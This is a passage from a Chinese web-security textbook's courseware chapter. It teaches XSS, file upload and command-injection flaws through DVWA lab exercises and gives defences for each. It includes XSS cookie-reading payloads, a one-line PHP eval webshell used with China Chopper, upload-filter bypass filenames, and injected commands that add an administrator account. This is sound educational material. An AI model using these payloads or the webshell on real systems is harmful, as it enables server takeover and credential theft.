網(wǎng)絡(luò)安全技術(shù)實踐教程(微課版)課件 第七章 Web攻防基礎(chǔ)_第1頁
網(wǎng)絡(luò)安全技術(shù)實踐教程(微課版)課件 第七章 Web攻防基礎(chǔ)_第2頁
網(wǎng)絡(luò)安全技術(shù)實踐教程(微課版)課件 第七章 Web攻防基礎(chǔ)_第3頁
網(wǎng)絡(luò)安全技術(shù)實踐教程(微課版)課件 第七章 Web攻防基礎(chǔ)_第4頁
網(wǎng)絡(luò)安全技術(shù)實踐教程(微課版)課件 第七章 Web攻防基礎(chǔ)_第5頁
已閱讀5頁,還剩111頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

《網(wǎng)絡(luò)安全技術(shù)實踐教程》第七章網(wǎng)絡(luò)疆域的攻守之道——Web攻防基礎(chǔ)本章思維導(dǎo)圖17.1跨站腳本攻擊漏洞27.2文件上傳漏洞37.3命令執(zhí)行漏洞目錄CONTENTS47.4文件包含漏洞57.5請求偽造漏洞67.6XXE漏洞7.1跨站腳本攻擊漏洞任務(wù)描述:工程師小林在對校園所用Web平臺進(jìn)行檢查時,察覺到存在一個影響大量學(xué)生的跨站腳本漏洞。他隨即與校園網(wǎng)管理員取得聯(lián)系,對該問題進(jìn)行了詳盡的溝通與確認(rèn)。在達(dá)成共識后,他們著手對平臺中嵌入的惡意代碼及植入廣告等安全隱患進(jìn)行了徹底清除,有效地阻斷了潛在的惡意程序運行,從而顯著降低了整體安全風(fēng)險。7.1跨站腳本攻擊漏洞知識準(zhǔn)備:一、XSS漏洞XSS(Cross-SiteScripting,跨站腳本)是一種常見的網(wǎng)絡(luò)安全漏洞,它允許攻擊者在其他用戶的瀏覽器中注入惡意腳本代碼,從而在受害者的瀏覽器環(huán)境中執(zhí)行攻擊者設(shè)計的操作。XSS漏洞形成的原因主要是Web應(yīng)用程序沒有對用戶提供的數(shù)據(jù)進(jìn)行充分的驗證、過濾或編碼,導(dǎo)致攻擊者可以通過網(wǎng)頁表單、URL參數(shù)、留言框等入口提交惡意腳本代碼。XSS攻擊的危害程度與攻擊者的JavaScript代碼編寫能力是直接相關(guān)的,即JavaScript的編寫能力越強,XSS漏洞造成的危害越大,常見的危害如下。(1)截獲管理員Cookie信息,入侵者可以冒充管理員的身份登錄后臺。(2)竊取用戶的個人信息或者登錄賬號,危害網(wǎng)站用戶的安全。(3)嵌入惡意代碼到Web應(yīng)用程序,當(dāng)用戶瀏覽該頁面時,用戶的計算機會被植入木馬。(4)植入廣告,或者發(fā)送垃圾信息,嚴(yán)重影響到用戶的正常使用。7.1跨站腳本攻擊漏洞知識準(zhǔn)備:二、XSS漏洞的分類XSS漏洞分為反射型XSS漏洞、存儲型XSS漏洞和基于DOM的XSS漏洞三類。1.反射型XSS漏洞反射型XSS漏洞也稱非持久性XSS漏洞,是最容易出現(xiàn)的一種XSS漏洞。由于這種漏洞需要設(shè)計一個包含嵌入式JavaScript代碼的請求,隨后這些代碼又被反射到提出該請求的用戶,因此被稱為反射型XSS漏洞。在反射型XSS漏洞中,Web應(yīng)用程序把用戶輸入的內(nèi)容未經(jīng)過濾直接輸出給用戶。有沒有這樣一種情況,即Web應(yīng)用程序先把用戶輸入的內(nèi)容存入數(shù)據(jù)庫,然后再從數(shù)據(jù)庫中把這些內(nèi)容輸出給用戶?答案是肯定的,這就是存儲型XSS(StoredXSS)漏洞,其又被稱為持久性XSS漏洞,是最危險的一種XSS漏洞。7.1跨站腳本攻擊漏洞知識準(zhǔn)備:二、

XSS漏洞的分類2.存儲型XSS漏洞只要是允許用戶存儲數(shù)據(jù)的Web應(yīng)用程序,就可能會出現(xiàn)存儲型XSS漏洞。如果攻擊者提交的數(shù)據(jù)未經(jīng)過濾,當(dāng)攻擊者提交一段Javascript代碼后,服務(wù)器端接收并存儲,當(dāng)有其他用戶訪問這個頁面時,這段Javascript代碼被程序讀出來響應(yīng)給瀏覽器,就會造成XSS攻擊,這就是存儲型XSS漏洞。存儲型XSS漏洞與反射型XSS漏洞相比,具有更高的隱蔽性,且只要用戶瀏覽存在存儲型XSS漏洞的頁面,就會造成危害。存儲型XSS漏洞的檢測方法與反射型XSS漏洞的檢測方法基本相似,但由于數(shù)據(jù)存儲在數(shù)據(jù)庫,可能會被輸出至多個地方,因此需要反復(fù)檢查應(yīng)用程序的整個內(nèi)容與功能,確定輸入的字符串在瀏覽器中顯示的各個地方及相應(yīng)的保護性過濾措施。7.1跨站腳本攻擊漏洞知識準(zhǔn)備:二、

XSS漏洞的分類3.基于DOM的XSS漏洞反射型XSS漏洞和存儲型XSS漏洞都與服務(wù)器交互,此外還存在一種基于DOM的跨站漏洞,其不需要與服務(wù)器端交互,它只發(fā)生在客戶端處理數(shù)據(jù)的階段。DOM的全稱為DocumentObjectModel,即文檔對象模型,是W3C制定的標(biāo)準(zhǔn)接口規(guī)范,是一種處理HTML和XML文件的標(biāo)準(zhǔn)API。DOM提供了對整個文檔的訪問模型,將文檔作為一個樹形結(jié)構(gòu),樹的每個節(jié)點表示了一個HTML標(biāo)簽或標(biāo)簽內(nèi)的文本項。DOM網(wǎng)結(jié)構(gòu)精確地描述了HTML文檔中標(biāo)簽間的相互關(guān)聯(lián)性。對HTML文檔的處理可以通過對DOM樹的操作實現(xiàn),利用DOM對象的方法和屬性,可以方便地訪問、修改、添加和刪除DOM樹的節(jié)點和內(nèi)容。7.1跨站腳本攻擊漏洞知識準(zhǔn)備:二、

XSS漏洞的分類3.基于DOM的XSS漏洞JavaScript可以訪問DOM,如果應(yīng)用程序發(fā)布的一段腳本可以從URL中提取數(shù)據(jù),對這些數(shù)據(jù)進(jìn)行處理,然后再用它動態(tài)更新頁面的內(nèi)容,應(yīng)用程序就可能存在基于DOM的XSS漏洞。也就是說,客戶端JavaScript去調(diào)用document對象的時候可能會出現(xiàn)基于DOM的XSS漏洞。基于DOM的XSS漏洞的檢測方法可以采用與反射型XSS漏洞檢測一樣的方法,即輸入特字符串:x's"><script>alert(/xss/)</script>,觀察瀏覽器響應(yīng)。但更加有效的方法是檢查所客戶端的JavaScript代碼,看其中是否調(diào)用了document對象,其是否調(diào)用了可能導(dǎo)致XSS漏洞的方法,是否采取了相應(yīng)的過濾措施及過濾措施是否存在缺陷。7.1跨站腳本攻擊漏洞知識準(zhǔn)備:三、

XSS漏洞的防范防范XSS漏洞需要采取一系列綜合性的措施,確保應(yīng)用程序能夠抵御不同類型的XSS攻擊。以下是一些關(guān)鍵的防范策略。(1)輸入驗證與過濾。對所有用戶輸入的數(shù)據(jù)進(jìn)行嚴(yán)格的格式和內(nèi)容驗證,確保它們符合預(yù)期的規(guī)則。例如,如果期望輸入是電子郵件地址,就應(yīng)使用正則表達(dá)式驗證是否符合電子郵件格式。過濾或拒絕包含潛在危險字符(如尖括號<>、引號'"等)的輸入,或?qū)@些字符進(jìn)行轉(zhuǎn)義處理。(2)輸出編碼。在數(shù)據(jù)輸出到網(wǎng)頁之前,根據(jù)上下文(HTML、JavaScript、CSS等)進(jìn)行恰當(dāng)?shù)木幋a。例如,在HTML內(nèi)容中使用htmlspecialchars()函數(shù)來轉(zhuǎn)義特殊字符。(3)HTTP-onlyCookie。設(shè)置Cookie為HTTP-only,可以阻止JavaScript訪問這些Cookie,減少XSS攻擊中盜取Cookie的風(fēng)險。7.1跨站腳本攻擊漏洞知識準(zhǔn)備:三、

XSS漏洞的防范防范XSS漏洞需要采取一系列綜合性的措施,確保應(yīng)用程序能夠抵御不同類型的XSS攻擊。以下是一些關(guān)鍵的防范策略。(4)內(nèi)容安全策略(CSP)。配置CSP頭,限制瀏覽器只能加載指定來源的資源,有效減少惡意腳本的執(zhí)行。(5)使用安全函數(shù)和庫。應(yīng)用程序開發(fā)中,應(yīng)使用已經(jīng)過安全審查的函數(shù)和庫來處理和輸出數(shù)據(jù)。(6)最小權(quán)限原則。限制網(wǎng)頁內(nèi)容和腳本的執(zhí)行權(quán)限,避免不必要的JavaScript功能在不安全的上下文中執(zhí)行。7.1跨站腳本攻擊漏洞任務(wù)實施:【任務(wù)分析】在靶機上運行phpstudy軟件,操作機上輸入實驗地址,在其頁面構(gòu)造Payload使其彈框,根據(jù)不同分類特點判斷漏洞類型。【實訓(xùn)環(huán)境】硬件:一臺Windows10主機。軟件:phpstudy,DVWA實驗地址:http://ip/dvwa/login.php7.1跨站腳本攻擊漏洞任務(wù)實施:【實施步驟】1.反射型XSS漏洞檢測與利用(1)登錄DVWA系統(tǒng)在DVWASecurity當(dāng)中選擇“l(fā)ow”選項,并提交。然后選擇“XSS(Reflected)”,在對話框中輸入正常的姓名,如li,則出現(xiàn)“Helloli”,如圖7-1所示。7.1跨站腳本攻擊漏洞任務(wù)實施:【實施步驟】1.反射型XSS漏洞檢測與利用(2)檢測XSS漏洞在對話框中輸入“x’s”><script>alert(/xss/)</script>”,單擊“Submit”按鈕之后,將彈出警告提示框,如圖7-2所示。7.1跨站腳本攻擊漏洞任務(wù)實施:【實施步驟】1.反射型XSS漏洞檢測與利用(3)查看源代碼按“Ctrl+U”組合鍵可打開源代碼所在頁面。查看源代碼,會看到如圖7-4所示代碼,進(jìn)一步驗證了存在XSS漏洞。7.1跨站腳本攻擊漏洞任務(wù)實施:【實施步驟】1.反射型XSS漏洞檢測與利用(4)獲取Cookie在對話框中輸入“<script>alert(document.cookie)</script>”,單擊“Submit”按鈕,將會出現(xiàn)如圖7-5所示警告提示框,其中顯示了security和PHPSESSID兩個Cookie的值。在這個輸入中document.cookie的作用是讀取Cookie。7.1跨站腳本攻擊漏洞任務(wù)實施:【實施步驟】2.存儲型XSS漏洞檢測與利用(1)登錄DVWA系統(tǒng)在DVWASecurity當(dāng)中選擇“l(fā)ow”選項,并提交。然后選擇“XSS(Stored)”,如圖7-6所示。在Name、Message提示框中輸入信息之后,將被保存在數(shù)據(jù)庫中,并在紅色框標(biāo)注區(qū)中顯示出來,每次輸入的信息都會顯示出來,類似留言板。7.1跨站腳本攻擊漏洞任務(wù)實施:【實施步驟】2.存儲型XSS漏洞檢測與利用(2)檢測XSS漏洞在Name提示框中輸入“x’s”><script>alert(/xss/)</script>”,但提示框中僅顯示“x’s”><scri”,說明Name提示框可能做了10個字符的長度限制;再將其輸入Message提示框,再單擊“Submit”按鈕之后,則彈出警告提示框,如圖7-7所示。說明存在XSS漏洞,Message顯示為x’s”>,也說明其后的<script>alert(/xss/)</script>被當(dāng)做JavaScript代碼執(zhí)行。單擊“確定”按鈕之后,警告提示框消失。7.1跨站腳本攻擊漏洞任務(wù)實施:【實施步驟】2.存儲型XSS漏洞檢測與利用(3)查看源代碼按“Ctrl+U”組合鍵可打開源代碼所在頁面。查看源代碼,會看到如圖7-8所示代碼,進(jìn)一步驗證了存在XSS漏洞。7.1跨站腳本攻擊漏洞任務(wù)實施:【實施步驟】2.存儲型XSS漏洞檢測與利用(4)獲取Cookie在Message提示框中輸入“<script>alert(document.cookie)</script>”,單擊“SignGuestbook”按鈕,將會出現(xiàn)如圖7-9所示警告提示框,其中顯示了security和PHPSESSID兩個Cookie的值。7.1跨站腳本攻擊漏洞任務(wù)實施:【實施步驟】2.存儲型XSS漏洞檢測與利用(5)查看存儲型XSS的時效切換到其他頁面之后,再切換回來,又依次彈出兩個警告提示框,說明<script>alert(/xss/)</script>、<script>alert(document.cookie)</script>已被存入數(shù)據(jù)庫中,再瀏覽該網(wǎng)頁時又被讀取出來執(zhí)行。從分析可以看出:存儲型XSS攻擊會影響瀏覽該網(wǎng)頁的所有用戶,而反射型XSS攻擊僅影響到執(zhí)行跨站的該用戶,因此存儲型XSS漏洞造成的危害要比反射型XSS漏洞大。7.1跨站腳本攻擊漏洞任務(wù)實施:【實施步驟】3.基于DOM的XSS漏洞檢測與利用(1)登錄DVWA系統(tǒng)在DVWASecurity當(dāng)中選擇“l(fā)ow”選項,并提交。然后選擇“XSS(DOM)”,如圖7-10所示。選擇“Select”,提交選擇的數(shù)據(jù)。7.1跨站腳本攻擊漏洞任務(wù)實施:【實施步驟】3.基于DOM的XSS漏洞檢測與利用(2)更改URL中default的值在URL中的default的值更改為“<script>alert(/DOMXSS/)</script>”,提交payload,觸發(fā)XSS漏洞,彈出警告提示框,如圖7-11所示。7.1跨站腳本攻擊漏洞任務(wù)實施:【實施步驟】3.基于DOM的XSS漏洞檢測與利用(3)查看源代碼按“Ctrl+U”組合鍵可打開源代碼所在頁面。查看源代碼,使用快捷鍵“Ctrl+F”,并在代碼中搜索“alert”,發(fā)現(xiàn)提交的payload未寫入頁面的代碼中,如圖7-12所示。7.1跨站腳本攻擊漏洞任務(wù)實施:【實施步驟】3.基于DOM的XSS漏洞檢測與利用(4)查看給予DOM的XSS的時效切換到其他頁面之后,再切換回來,頁面無任何反應(yīng),說明基于DOM的XSS是非持久性的。17.1跨站腳本攻擊漏洞27.2文件上傳漏洞37.3命令執(zhí)行漏洞目錄CONTENTS47.4文件包含漏洞57.5請求偽造漏洞67.6XXE漏洞7.2文件上傳漏洞任務(wù)描述:學(xué)生在校園某個Web網(wǎng)站上具有分享照片、上傳圖片等權(quán)限,但平臺管理員未對上傳的文件進(jìn)行嚴(yán)格的驗證和過濾,導(dǎo)致學(xué)生可以在Web服務(wù)器上傳可執(zhí)行的腳本文件。小林經(jīng)過檢查,發(fā)現(xiàn)其風(fēng)險巨大,并給該網(wǎng)站提供了文件上傳漏洞的防御方法。7.2文件上傳漏洞知識準(zhǔn)備:一、文件上傳漏洞與Webshell文件上傳是Web應(yīng)用程序通常會有的功能,如分享照片或視頻、在網(wǎng)上發(fā)布簡歷、在論壇發(fā)帖時附帶文件和郵件附件等。實際上,只要Web應(yīng)用程序允許上傳文件,就有可能存在文件上傳漏洞。文件上傳漏洞是指由于Web容器解析漏洞或程序員未對上傳的文件進(jìn)行嚴(yán)格的驗證和過濾,而導(dǎo)致用戶向服務(wù)器上傳可執(zhí)行的腳本文件,并通過此腳本文件獲得了執(zhí)行服務(wù)器端命令的權(quán)限。上傳漏洞與SQL注入漏洞或XSS漏洞相比,風(fēng)險更大。其安全問題主要如下。(1)上傳的文件是Webshell,其可以直接控制服務(wù)器。Webshell就是以asp、php、jsp或cgi等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,也稱為網(wǎng)頁后門。Webshell與網(wǎng)站服務(wù)器Web目錄下正常的網(wǎng)頁文件混在一起,然后使用瀏覽器來訪問這些后門,以達(dá)到控制服務(wù)器的目的。Webshell隱蔽性較高,訪問Webshell時不會留下系統(tǒng)日志,不容易發(fā)現(xiàn)入侵痕跡。(2)上傳文件是病毒、木馬文件,那么攻擊者可以誘騙瀏覽文件的用戶下載執(zhí)行。(3)上傳文件是釣魚圖片,或者包含了腳本文件的圖片,在某些版本的瀏覽器中可以用來做釣魚攻擊。7.2文件上傳漏洞知識準(zhǔn)備:二、Web容器解析漏洞Web容器是一種服務(wù)程序,這個程序用于解析客戶端發(fā)出的請求,并對請求進(jìn)行響應(yīng),Apache、Nginx、IIS等都是常見的Web容器。在解析客戶端請求時,不同的Web容器采用的不同機制,會引起一些解析漏洞。攻擊者在利用文件上傳漏洞時,經(jīng)常會與Web容器的解析漏洞配合使用,因此我們應(yīng)該了解Web容器解析漏洞,才能更好地就文件上傳漏洞進(jìn)行防范。1.Apache解析漏洞Apache解析漏洞主要源于其對文件后綴的處理方式。特別是“多后綴解析”的特性,允許一個文件擁有多個后綴,并為不同后綴執(zhí)行不同的指令。這種機制可能被攻擊者利用來繞過文件上傳的安全限制。例如,當(dāng)Web應(yīng)用限制了.php等敏感后綴時,攻擊者可以嘗試上傳一個名為test.php.jpg的文件。由于Apache會從右向左嘗試解析后綴,當(dāng)遇到無法解析的.jpg時,它會繼續(xù)嘗試解析.php。如果服務(wù)器配置允許,這個文件就會按照PHP腳本進(jìn)行解析和執(zhí)行。至于Apache能認(rèn)識哪些擴展名,Apache安裝目錄下的/conf/mime.types文件中有詳細(xì)的說明。7.2文件上傳漏洞知識準(zhǔn)備:二、Web容器解析漏洞2.Nginx解析漏洞Nginx是一款高性能的Web容器,通常用來作為PHP的解析器,但其曾經(jīng)被曝出過存在解析漏洞。假設(shè)測試環(huán)境為Nginx1.14.0、php7.2.10,在網(wǎng)站根目錄下創(chuàng)建文件夾test,在test下創(chuàng)建文件phpinfo.pg,以訪問http://服務(wù)器地址/test/phpinfo.jpg/1.php這個URL為例。服務(wù)器并不會回饋目錄或者文件不存在,而是請求拒絕,原因是在Nginx中,服務(wù)器對親求的內(nèi)容是從右向左的,當(dāng)發(fā)現(xiàn)并沒有1.php這個文件時,phpinfo.jpg就會被當(dāng)作PHP文本來解析。這就意味著攻擊者可以上傳合法的圖片木馬,然后在URL后面加上"/1.php",就可以訪問木馬文件。該解析漏洞的發(fā)生是有條件的但與版本無關(guān),在php配置文件php.ini中,有一個選項cgi.fix_pathinfo,它的值一般為1,作用是為了當(dāng)文件不存在時,阻止Nginx將請求發(fā)送到后端的PHP-FPM模塊,例如這里的1.php文件并不存在,這時就會將phpinfo.jpg當(dāng)作php文件來解析,從而導(dǎo)致惡意腳本注入的攻擊,即解析漏洞。7.2文件上傳漏洞知識準(zhǔn)備:二、Web容器解析漏洞3.IIS解析漏洞(1)目錄解析漏洞:使用IIS6.0的服務(wù)器,在服務(wù)器上創(chuàng)建以.asa或.asp結(jié)尾的文件夾時,IIS會錯誤地將該目錄下的所有文件都當(dāng)作ASP文件來解析和執(zhí)行。這意味著,如果攻擊者能夠上傳一個文件到這樣的目錄中,比如將一個圖片文件重命名為xx.jpg并上傳到一個名為xx.asp的目錄中,然后通過URL訪問http://服務(wù)器地址/xx.asp/xx.jpg,IIS6.0會嘗試將xx.jpg作為ASP文件來執(zhí)行,這可能導(dǎo)致任意代碼執(zhí)行等安全問題。(2)文件名解析漏洞:IIS6.0在解析文件名時,如果文件名包含分號(;),服務(wù)器默認(rèn)會忽略分號后面的內(nèi)容。因此,如果攻擊者上傳一個文件名為xx.asp;1.jpg的文件,IIS6.0會將其解析為xx.asp,而忽略后面的;1.jpg。這意味著,攻擊者可以利用這個漏洞來繞過某些基于文件擴展名的安全措施,如上傳惡意ASP腳本。7.2文件上傳漏洞知識準(zhǔn)備:三、文件上傳漏洞防范文件上傳漏洞是Web應(yīng)用中常見的安全風(fēng)險,攻擊者可以借此上傳惡意文件,如腳本、WebShell等,進(jìn)而控制或損害服務(wù)器系統(tǒng)。為了有效防范文件上傳漏洞,可采取以下措施。(1)文件類型檢查。嚴(yán)格驗證上傳文件的MIME類型和擴展名,僅允許預(yù)定義的安全文件類型,如圖片(jpg,png)、文檔(pdf,docx)等。使用服務(wù)器端驗證,避免僅依賴客戶端驗證,因為客戶端驗證容易被繞過。(2)文件大小限制。設(shè)定上傳文件的最大尺寸,避免大文件消耗服務(wù)器資源或作為DoS攻擊手段。(3)文件名檢查與重命名。對上傳文件的名稱進(jìn)行檢查,移除或替換特殊字符,避免路徑遍歷攻擊。最好自動重命名上傳文件,使用隨機生成的文件名,以增加攻擊難度。(4)文件內(nèi)容檢查。對上傳文件的內(nèi)容進(jìn)行深度掃描,使用文件類型驗證工具或病毒掃描軟件,確保文件不含惡意代碼。(5)存儲路徑隔離。將用戶上傳的文件存儲在Web根目錄之外,避免直接通過URL訪問??梢詣?chuàng)建一個單獨的、無執(zhí)行權(quán)限的目錄存放上傳文件。7.2文件上傳漏洞任務(wù)實施:【任務(wù)分析】小林發(fā)現(xiàn)文件上傳漏洞后,通過和校園某個Web網(wǎng)站管理員協(xié)商,通過對學(xué)生圖片、視頻及文件上傳等類型的限制,從而實現(xiàn)對上傳內(nèi)容進(jìn)行驗證和過濾?!緦嵱?xùn)環(huán)境】硬件:Windows10主機,安裝虛擬機。軟件:phpstudy,DVWA,中國菜刀實驗地址:http://虛擬機ip/dvwa/login.php7.2文件上傳漏洞任務(wù)實施:【實施步驟】1.利用中國菜刀連接Webshell(1)編寫一句話木馬在桌面上新建文本文件ceshi.php,用記事本等文本編輯工具,將其內(nèi)容修改為<?php@eval($_POST[‘pass’];);?>,存盤退出,即編寫完成一句話木馬。(2)登錄DVWA系統(tǒng),選擇文件上傳頁面在DVWASecurity當(dāng)中選擇“l(fā)ow”選項,并提交。然后選擇“FileUpload”,出現(xiàn)如圖7-13所示。7.2文件上傳漏洞任務(wù)實施:【實施步驟】1.利用中國菜刀連接Webshell(3)上傳木馬文件在如圖7-14所示的界面中,單擊“選擇文件”按鈕,選擇新建的ceshi.php文件,單擊“Upload”按鈕,就完成了上傳。同時,系統(tǒng)提示:“../../hackable/uploads/ceshi.phpsuccesfullyuploaded!”這意味著文件上傳到了應(yīng)用程序中的hackable/uploads目錄下。7.2文件上傳漏洞任務(wù)實施:【實施步驟】1.利用中國菜刀連接Webshell(4)通過中國菜刀連接ceshi.php文件打開菜刀應(yīng)用程序,在界面的空白處單擊鼠標(biāo)右鍵,在菜單中選擇“添加”命令,出現(xiàn)如圖7-15所示“添加SHELL”界面。7.2文件上傳漏洞任務(wù)實施:【實施步驟】1.利用中國菜刀連接Webshell(4)通過中國菜刀連接ceshi.php文件在地址欄填寫詳細(xì)的連接地址,保證能夠訪問到ceshi.php;在其右側(cè)欄中填寫連接密碼,實質(zhì)就是木馬$_POST數(shù)組的下標(biāo)。選擇腳本語言及編碼方式之后,單擊右下角的“添加”按鈕,就出現(xiàn)如圖7-16所示界面。7.2文件上傳漏洞任務(wù)實施:【實施步驟】1.利用中國菜刀連接Webshell(4)通過中國菜刀連接ceshi.php文件雙擊該界面下的鏈接,就會連接到一句話木馬ceshi.php,出現(xiàn)如圖7-17所示界面。此時,就如本地資源管理器一樣可以管理服務(wù)器端的文件了。7.2文件上傳漏洞任務(wù)實施:【實施步驟】2.黑名單及白名單過濾擴展名機制與繞過(1)編寫文件上傳的Web前端代碼。在www目錄下建立文件夾ceshi,并在文件夾中建立index.html文件,然后用記事本等工具進(jìn)行編輯,編寫如下代碼。該前端頁面表單中具有文件上傳的功能。<html><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"/><title>文件上傳</title></head>

<body><formaction="upload.php"method="post"enctype="multipart/form-data"><inputtype="file"name="file"id="file"/><inputtype="submit"value="提交"name="submit"/></form></body></html>7.2文件上傳漏洞任務(wù)實施:【實施步驟】2.黑名單及白名單過濾擴展名機制與繞過(2)編寫后端接收文件代碼。在ceshi文件夾下建立upload.php文件,然后用記事本等工具進(jìn)行編輯,編寫如下代碼。<html><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"/><title>文件上傳</title></head><body><?php$blacklist=array("php","php5","jsp","asp","asa","aspx");//黑名單if(isset($_POST['submit'])){//將字符串編碼由utf8轉(zhuǎn)到gb2312,解決中文文件不能上傳問題$name=iconv('utf-8','gb2312',$_FILES['file']['name']);$extension=substr(strrchr($name,"."),1);//得到擴展名$flag=true;//迭代判斷擴展名是否在黑名單中foreach($blacklistas$key=>$value){if($value==$extension){ $flag=false; break; } }if($flag){ $size=$_FILES['file']['size'];//接受文件大小 $tmp=$_FILES['file']['tmp_name'];//臨時路徑 //指定上傳文件到uploadfile目錄 move_uploaded_file($tmp,"./uploadfile/".$name); echo"文件上傳成功!";}else{ echo"<script>alert('上傳文件不符合規(guī)定,上傳失??!')</script>";} }?></body></html>7.2文件上傳漏洞任務(wù)實施:【實施步驟】2.黑名單及白名單過濾擴展名機制與繞過(3)測試程序運行情況。在瀏覽器中輸入“/ceshi/index.html”,將出現(xiàn)文件上傳對話框,如圖7-18所示。當(dāng)上傳文件擴展名在黑名單中,將出現(xiàn)“上傳文件不合法”的提示,不能上傳,如圖7-19所示。7.2文件上傳漏洞任務(wù)實施:【實施步驟】2.黑名單及白名單過濾擴展名機制與繞過(4)繞過服務(wù)器端白名單監(jiān)測機制新建upload2.php文件,然后用記事本等工具進(jìn)行編輯,編寫如下內(nèi)容。<html><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"/><title>無標(biāo)題文檔</title></head>

<body><?php$whilelist=array("jpg","jpeg","png","asp","bmp","gif");//白名單if(isset($_POST['submit'])){ //將字符串編碼由utf8轉(zhuǎn)到gb2312,解決中文文件不能上傳問題 $name=iconv('utf-8','gb2312',$_FILES['file']['name']); $extension=substr(strrchr($name,"."),1);//得到擴展名 $flag=false; //迭代判斷擴展名是否在黑名單中 foreach($whilelistas$key=>$value){ if($value==$extension){ $flag=true; break; } } if($flag){ $size=$_FILES['file']['size'];//接受文件大小 $tmp=$_FILES['file']['tmp_name'];//臨時路徑 //指定上傳文件到uploadfile目錄 move_uploaded_file($tmp,"./uploadfile/".$name); echo"文件上傳成功!";} else{ echo"<script>alert('上傳文件不符合規(guī)定,上傳失?。?)</script>";} }?></body></html>17.1跨站腳本攻擊漏洞27.2文件上傳漏洞37.3命令執(zhí)行漏洞目錄CONTENTS47.4文件包含漏洞57.5請求偽造漏洞67.6XXE漏洞7.3命令執(zhí)行漏洞任務(wù)描述:小林發(fā)現(xiàn)校園某個Web網(wǎng)站未對用戶輸入內(nèi)容進(jìn)行過濾,從而使用戶可以控制命令執(zhí)行函數(shù)的參數(shù),用戶可以注入惡意系統(tǒng)命令到正常命令中,造成命令攻擊,可導(dǎo)致隨意執(zhí)行系統(tǒng)命令的風(fēng)險。小林經(jīng)過檢查,發(fā)現(xiàn)其風(fēng)險巨大,并給該網(wǎng)站提供了命令執(zhí)行漏洞的防御機制。7.3命令執(zhí)行漏洞知識準(zhǔn)備:一、命令執(zhí)行漏洞的概念與危害命令執(zhí)行漏洞允許攻擊者通過Web應(yīng)用程序在服務(wù)器上執(zhí)行任意操作系統(tǒng)命令。如PHP中的system、exec、shell_exec等,當(dāng)用戶可以控制命令執(zhí)行函數(shù)中的參數(shù)時,可注入惡意系統(tǒng)命令到正常命令中,造成命令執(zhí)行攻擊。命令執(zhí)行漏洞的危害非常大,shell_exec()等函數(shù)的作用就是可以在PHP中執(zhí)行操作系統(tǒng)的命令,也就相當(dāng)于直接獲得了系統(tǒng)級的Shell,因而命令執(zhí)行漏洞的威力相比SQL注入要大多了。試想一下,如果將ipconfig命令更換成netuserhacker123/add,就可以增加hacker用戶,可以繼續(xù)通過命令netlocalgroupadministratorshacker/add賦予管理員權(quán)限,通過該用戶就可以控制服務(wù)器。雖然添加用戶需要該Web系統(tǒng)有管理員權(quán)限,但這也說明了命令執(zhí)行漏洞的危害之大。7.3命令執(zhí)行漏洞知識準(zhǔn)備:二、php命令執(zhí)行函數(shù)PHP命令執(zhí)行函數(shù)常配合代碼執(zhí)行漏洞使用,利用命令執(zhí)行函數(shù)執(zhí)行操作系統(tǒng)命令,從而發(fā)起攻擊,接下來就簡單介紹幾個常用的PHP命令執(zhí)行函數(shù)。(1)system()函數(shù)可以執(zhí)行系統(tǒng)命令,并將命令執(zhí)行的結(jié)果直接輸出到界面中。(2)exec()函數(shù)可以執(zhí)行系統(tǒng)命令,但它不會直接輸出結(jié)果,而是將執(zhí)行的結(jié)果保存到數(shù)組中。shell_exec()函數(shù)可以執(zhí)行系統(tǒng)命令,但它不會直接輸出執(zhí)行的結(jié)果,而是返回一個字符串類型的變量來存儲系統(tǒng)命令的執(zhí)行結(jié)果,在參數(shù)中傳遞需要執(zhí)行的系統(tǒng)命令即可。(3)passthru()函數(shù)可以執(zhí)行系統(tǒng)命令,并將執(zhí)行結(jié)果輸出到頁面中,與system()函數(shù)不同的是,它支持二進(jìn)制的數(shù)據(jù),更多的用于文件,圖片等操作,使用時直接在參數(shù)中傳遞字符串類型的系統(tǒng)命令即可。在DVWA系統(tǒng)中選擇DVWASecurity的“l(fā)ow”級別,然后單擊“CommandInjection”導(dǎo)航欄,在文本框中輸入“”、“&ipconfig”,出現(xiàn)如圖7-20、7-21所示的輸出結(jié)果,就是系統(tǒng)存在命令執(zhí)行漏洞造成的結(jié)果。7.3命令執(zhí)行漏洞知識準(zhǔn)備:二、php命令執(zhí)行函數(shù)這一功能的PHP代碼如下。<?phpif(isset($_POST[‘submit’])){$target=$_REQUEST[‘ip’];if(stristr(php_uname(‘s’),’WindowsNT’)){ $cmd=shell_exec(‘ping’.$target); echo‘<pre>’.$cmd.’</pre>’; }else{ $cmd=shell_exec(‘ping-c3’.$target); echo‘<pre>’.$cmd.’</pre>’;}}?>這段代碼的作用是接收前端提交的數(shù)據(jù),然后執(zhí)行shell_exec()函數(shù),其中前端提交的數(shù)據(jù)作為shell_exec()函數(shù)參數(shù)的一部分。shell_exec()函數(shù)的功能是通過shell環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回。7.3命令執(zhí)行漏洞知識準(zhǔn)備:三、命令執(zhí)行漏洞的原理與防范操作系統(tǒng)命令可以連接執(zhí)行是命令執(zhí)行漏洞存在的前提條件。無論是在Windows操作系統(tǒng)還是Linux操作系統(tǒng)之中,都可以通過管道符支持連續(xù)執(zhí)行命令。表7-1所示是Windows與Linux操作系統(tǒng)的管道符。Windows管道符Linux管道符作用||前面命令輸出結(jié)果作為后面命令的輸入||||前面命令執(zhí)行失敗時才執(zhí)行后面的命令&&或;前面命令執(zhí)行后接著執(zhí)行后面的命令&&&&前面命令執(zhí)成功了才執(zhí)行后面的命令7.3命令執(zhí)行漏洞知識準(zhǔn)備:三、命令執(zhí)行漏洞的原理與防范另外還可以使用重定向(>)在服務(wù)器中生成文件,或是使用<從事先準(zhǔn)備好的文件中前面命令執(zhí)行成功了才執(zhí)行后面的命令讀入命令等。清楚了命令執(zhí)行漏洞存在的原因之后,對其防范就比較簡單了,主要措施具體如下。(1)盡量不使用執(zhí)行命令的函數(shù)。(2)在使用執(zhí)行命令的函數(shù)/方法的時候,對參數(shù)進(jìn)行過濾,對管道符等敏感字符進(jìn)行